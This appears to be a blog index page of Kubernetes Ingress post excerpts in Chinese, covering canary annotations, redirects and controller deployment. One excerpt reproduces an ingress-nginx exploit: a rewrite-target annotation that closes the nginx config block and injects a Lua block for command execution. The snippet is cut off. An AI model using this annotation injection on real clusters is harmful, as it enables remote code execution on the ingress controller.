Strive to become a dream architect.
2023-11-20 myluzh Kubernetes
0x00 Ingress金丝雀发布介绍 Nginx Annotations 支持以下 4 种 Canary 规则： （1）nginx.ingress.kubernetes.io/canary-by-header： 基于 Request Header 的流量切分，适用于灰度发布以及 A/B 测试。当 Request Header 设置为 always时，请求将会被一直发送到 Canary 版本；当 Request Header 设置为 never时，请求不会被发送到 Canary 入口；对于任何其他 Header 值，将忽略 Header，并通过优先级将请求与其他金丝雀规则进行优先级的比较。 （2）nginx.ingress.kubernetes.io/canary-by-header-value： 要匹配的 Request Header 的值，用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务。当 Request Header 设置为此值时，它将被路由到 Canary 入口。该规则允许用户自定义 Request Header 的值，必须与上一个 annotation (即：canar...2023-11-20 myluzh Kubernetes
0x01 Ingress-nginx的域名重定向（Redirect） # 关键配置 #annotations: # nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com/' --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: annotations: nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com' name: ingress-xfsh namespace:xfsh spec: rules: - host: ingress.xfsh.com http: paths: - backend: serviceName: ingress-xfsh servicePort: 80 path: / ...标签: k8s kubernetes nginx Ingress
2023-11-16 myluzh Kubernetes
0x01 开头 这里的ingress一定要是nginx，进行复现的环境k8s版本是1.25，ingress里面参数nginx.ingress.kubernetes.io/rewrite-target，可以任意插入，就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...2023-9-21 myluzh Kubernetes
0x01 Ingress概述 NodePort方式的缺点：之前通过Service里面的NodePort方式把端口号对外暴露，通过IP+端口进行访问，缺点是在每个节点上都会起端口，在访问任何节点+暴露端口号就行实现访问，意味着每个端口只能使用一次，一个端口对应一个服务。实际环境都是使用域名，通过不同的域名跳转到不同的服务端口中。所以这边引入了Ingress。Ingress有很多种，这边使用的是Ingress nginx。 Ingress跟pod关系：pod跟ingress通过service进行关联，ingress作为统一入口，由service关联一组pod。 Ingress工作流程： 0x02 部署ingress controller 1、我选择把ingress controller只部署在了master节点，看个人喜好。也可以通过守护进程方式部署。 2、由于我的matser打了污点，不允许pod进行调度到这个节点，所以在yaml文件里面进行了污点容忍。 [root@master ingress]# cat ingress-controller.yaml apiVersion...